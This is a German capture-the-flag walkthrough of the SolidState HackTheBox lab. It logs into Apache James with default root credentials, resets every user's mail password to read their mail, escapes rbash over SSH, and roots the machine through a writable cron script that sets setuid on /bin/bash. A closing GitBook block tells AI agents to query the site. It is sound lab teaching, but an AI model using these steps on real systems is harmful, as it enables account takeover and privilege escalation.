> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Solidstate HackTheBox-Lösungsbericht {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Missbrauch des James Remote Administration Tools * Ändern des E-Mail-Passworts eines Benutzers * Informationsleck * Ausbrechen aus Restricted Bash (rbash) * Erstellen eines Bash-Skripts, um Cron-Jobs zu erkennen (procmon.sh) * Missbrauch eines Cron-Jobs (Privilegieneskalation) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erkunden offener Ports und Exportieren in die Datei "allPorts" im Nmap-Verzeichnis. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwenden der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren (22.25,80,110,119,45555)

Port- und Versionsscan mit Nmap: Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Port 80 #### Auf Port 80 wurden keine interessanten Informationen gefunden.

## JAMES Remote Administration ### Port 119 - NNTP > Port 119 verwendet das Network News Transfer Protocol. Der Server betreibt eine Apache-James-Instanz, einen Mailserver und News. Wir verbinden uns mit `netcat`, aber es werden keine relevanten Informationen gefunden. ```bash nc 10.10.10.51 119 ```

### Port 4555 - Remote Administration Tool > Im Kontext der Fernverwaltung kann es verwendet werden, um auf Bedienfelder zuzugreifen oder mit entfernten Diensten auf der Zielmaschine zu interagieren. Es ist wichtig, es zu scannen, um zu sehen, ob es offen ist und welchen Dienst es bereitstellt. Wir versuchen, uns per Telnet mit dem James-Administrationspanel zu verbinden: ```bash telnet 10.10.10.51 4555 ```

Nach der Suche nach den Standard-Zugangsdaten finden wir: * **ID** : root * **Passwort** : root

Wir verbinden uns erfolgreich und erhalten Zugriff auf das Administrationspanel von James. Wir haben die Möglichkeit, Benutzer mit dem `listusers` Befehl aufzulisten, wodurch wir 5 Benutzer entdecken: * `Benutzer: james` * `Benutzer: thomas` * `Benutzer: john` * `Benutzer: mindy` * `Benutzer: mailadmin`

Wir können Benutzerpasswörter mit dem `setpassword` Befehl ändern, um sie mit dem Mail-Client auf Port 110 zu verbinden. Das tun wir für alle Benutzer: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Port 110 - POP3 > Port 110 ist der Standardport für **POP3** (Post Office Protocol Version 3). Dieses Protokoll wird von E-Mail-Clients verwendet, um E-Mails von einem Server abzurufen. Wenn sich ein Benutzer über diesen Port mit einem POP3-Server verbindet, kann er seine Nachrichten herunterladen. Wir verbinden uns nun per Telnet mit dem POP3-Client:

telnet 10.10.10.51 110

Zum Verbinden verwenden wir die folgenden Befehle: ```ada USER PASS ``` Wir listen Nachrichten mit dem `list` Befehl. Wir stellen fest, dass sich in den Postfächern von `james` und `thomas`.

Allerdings hat der Benutzer `john` eine Nachricht, die wir mit dem `retr 1` Befehl abrufen. Die Nachricht enthält den folgenden Text: > John, > > Kannst du Mindys Zugriff einschränken, bis sie die Erlaubnis hat, dem Programm beizutreten? Bitte stelle außerdem sicher, dass du ihr ein temporäres Passwort sendest, damit sie sich mit ihren Konten verbinden kann. > > Danke im Voraus. > > Mit freundlichen Grüßen,/ James

Dies deutet darauf hin, dass der Benutzer `mindy` hat Zugangsdaten in seinem Postfach. Tatsächlich finden wir die folgenden Informationen: * **Benutzername** : mindy * **Passwort** : P\@55W0rd1!2@

Wir verwenden diese Zugangsdaten, um uns per SSH zu verbinden und die Flag zu erhalten `user.txt`. ### Flagge user.txt :)

## Privilegieneskalation : ### **Aus rbash zu Bash entkommen** Das `mindy` der Benutzer verwendet derzeit eine `rbash` Shell, die die Ausführung vieler Befehle einschränkt.

Um diese Einschränkung zu umgehen, verwenden wir beim Herstellen der SSH-Verbindung den folgenden Befehl, um eine Bash-Shell zu erhalten: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Anschließend verwenden wir die folgenden Befehle, um das Terminal zu bearbeiten und eine vollständige Shell zu erhalten: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Cron-Aufgaben - Angepasstes Skript (Python): Wir erstellen ein Bash-Skript, um die aktuellen Prozesse zu analysieren und Cron-Aufgaben auf der Zielmaschine zu erkennen: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` Beim Ausführen dieses Skripts stellen wir fest, dass die **root** Benutzer ein Python-Skript ausführt, das sich in der `/opt/tmp.py` Verzeichnis.

Wir haben die Möglichkeit, dieses Python-Skript zu ändern.

Wir ändern es, um den Befehl hinzuzufügen, einen **setuid** auf dem `/bin/bash` Binärdatei, die es uns ermöglicht, eine Bash-Shell mit den Rechten von auszuführen **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` Nachdem wir das Skript bearbeitet haben, warten wir etwa eine Minute, bis der Cron-Task ausgeführt wird. Sobald der Cron-Task ausgeführt wurde, können wir eine Bash-Shell mit **root** Rechten erhalten, indem wir den folgenden Befehl ausführen: ```bash /bin/bash -p ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.